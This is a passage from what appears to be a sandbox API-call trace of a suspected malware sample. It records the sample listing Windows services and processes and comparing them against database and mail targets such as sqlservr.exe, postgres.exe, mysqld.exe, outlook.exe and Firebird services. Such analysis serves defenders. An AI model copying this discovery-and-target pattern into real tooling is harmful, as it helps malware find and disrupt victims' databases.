lpString2="RpcSs") returned -1 [0176.610] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0176.610] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0176.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0176.610] lstrlenW (lpString="SamSs") returned 5 [0176.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0176.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0176.610] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0176.610] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0176.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0176.610] lstrlenW (lpString="Schedule") returned 8 [0176.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0176.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0176.610] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0176.610] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0176.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0176.610] lstrlenW (lpString="SENS") returned 4 [0176.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0176.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0176.610] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0176.610] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0176.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0176.610] lstrlenW (lpString="ShellHWDetection") returned 16 [0176.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0176.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0176.611] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0176.611] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0176.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0176.611] lstrlenW (lpString="Spooler") returned 7 [0176.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0176.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0176.611] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0176.611] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0176.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0176.611] lstrlenW (lpString="SysMain") returned 7 [0176.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0176.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0176.611] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0176.611] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0176.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0176.611] lstrlenW (lpString="Themes") returned 6 [0176.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0176.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0176.611] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0176.611] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0176.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0176.611] lstrlenW (lpString="TrkWks") returned 6 [0176.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0176.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0176.611] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0176.611] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0176.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0176.612] lstrlenW (lpString="UxSms") returned 5 [0176.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0176.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0176.612] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0176.612] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0176.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0176.612] lstrlenW (lpString="WdiServiceHost") returned 14 [0176.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0176.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0176.612] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0176.612] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0176.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0176.612] lstrlenW (lpString="WdiSystemHost") returned 13 [0176.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0176.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0176.612] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0176.612] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0176.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0176.612] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0176.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0176.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0176.612] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0176.612] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0176.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0176.612] lstrlenW (lpString="Winmgmt") returned 7 [0176.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0176.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0176.612] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0176.612] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0176.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0176.613] lstrlenW (lpString="WPDBusEnum") returned 10 [0176.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0176.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0176.613] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0176.613] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0176.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0176.613] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x724190 | out: hHeap=0x630000) returned 1 [0176.613] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ac [0176.615] Process32FirstW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0176.615] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0176.615] lstrlenW (lpString="System") returned 6 [0176.615] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0176.615] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0176.615] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0176.615] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0176.615] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0176.615] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0176.616] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0176.616] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0176.616] lstrlenW (lpString="smss.exe") returned 8 [0176.616] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0176.616] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0176.616] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0176.616] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0176.616] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0176.616] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0176.616] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0176.616] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0176.616] lstrlenW (lpString="csrss.exe") returned 9 [0176.616] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0176.616] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0176.616] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0176.616] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0176.617] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0176.617] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0176.617] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0176.617] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0176.617] lstrlenW (lpString="wininit.exe") returned 11 [0176.617] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0176.617] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0176.617] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0176.617] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0176.617] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0176.617] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0176.617] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0176.617] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0176.618] lstrlenW (lpString="csrss.exe") returned 9 [0176.618] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0176.618] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0176.618] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0176.618] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0176.618] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0176.618] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0176.618] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0176.618] lstrlenW (lpString="winlogon.exe") returned 12 [0176.618] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0176.619] lstrlenW (lpString="services.exe") returned 12 [0176.619] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0176.619] lstrlenW (lpString="lsass.exe") returned 9 [0176.619] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0176.619] lstrlenW (lpString="lsm.exe") returned 7 [0176.619] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.620] lstrlenW (lpString="svchost.exe") returned 11 [0176.620] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.620] lstrlenW (lpString="svchost.exe") returned 11 [0176.620] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.621] lstrlenW (lpString="svchost.exe") returned 11 [0176.621] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.621] lstrlenW (lpString="svchost.exe") returned 11 [0176.621] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.621] lstrlenW (lpString="svchost.exe") returned 11 [0176.621] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0176.622] lstrlenW (lpString="audiodg.exe") returned 11 [0176.622] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.622] lstrlenW (lpString="svchost.exe") returned 11 [0176.622] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0176.622] lstrlenW (lpString="explorer.exe") returned 12 [0176.622] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0176.623] lstrlenW (lpString="dwm.exe") returned 7 [0176.623] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.623] lstrlenW (lpString="svchost.exe") returned 11 [0176.623] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0176.623] lstrlenW (lpString="n.exe") returned 5 [0176.623] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0176.624] lstrlenW (lpString="spoolsv.exe") returned 11 [0176.624] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.624] lstrlenW (lpString="svchost.exe") returned 11 [0176.624] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0176.624] lstrlenW (lpString="taskhost.exe") returned 12 [0176.625] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0176.625] lstrlenW (lpString="reader_sl.exe") returned 13 [0176.625] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0176.625] lstrlenW (lpString="n.exe") returned 5 [0176.625] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0176.626] lstrlenW (lpString="n.exe") returned 5 [0176.626] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0176.626] CloseHandle (hObject=0x1ac) returned 1 [0176.627] Sleep (dwMilliseconds=0x1f4) [0177.476] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69e710 [0177.477] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0177.477] GetLastError () returned 0xea [0177.477] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x724190 [0177.477] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x724190, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x724190, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0177.479] CloseServiceHandle (hSCObject=0x69e710) returned 1 [0177.479] lstrlenW (lpString="Appinfo") returned 7 [0177.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0177.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0177.479] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0177.479] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0177.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0177.479] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0177.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0177.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0177.479] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0177.479] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0177.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0177.479] lstrlenW (lpString="AudioSrv") returned 8 [0177.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0177.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0177.479] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0177.480] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0177.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0177.480] lstrlenW (lpString="BFE") returned 3 [0177.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0177.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0177.480] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0177.480] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0177.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0177.480] lstrlenW (lpString="CryptSvc") returned 8 [0177.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0177.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0177.480] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0177.480] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0177.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0177.480] lstrlenW (lpString="CscService") returned 10 [0177.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0177.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0177.480] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0177.480] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0177.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0177.480] lstrlenW (lpString="DcomLaunch") returned 10 [0177.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0177.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0177.480] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0177.480] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0177.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0177.480] lstrlenW (lpString="Dhcp") returned 4 [0177.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0177.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0177.481] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0177.481] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0177.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0177.481] lstrlenW (lpString="Dnscache") returned 8 [0177.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0177.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0177.481] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0177.481] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0177.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0177.481] lstrlenW (lpString="DPS") returned 3 [0177.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0177.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0177.481] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0177.481] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0177.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0177.481] lstrlenW (lpString="eventlog") returned 8 [0177.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0177.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0177.481] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0177.481] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0177.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0177.481] lstrlenW (lpString="EventSystem") returned 11 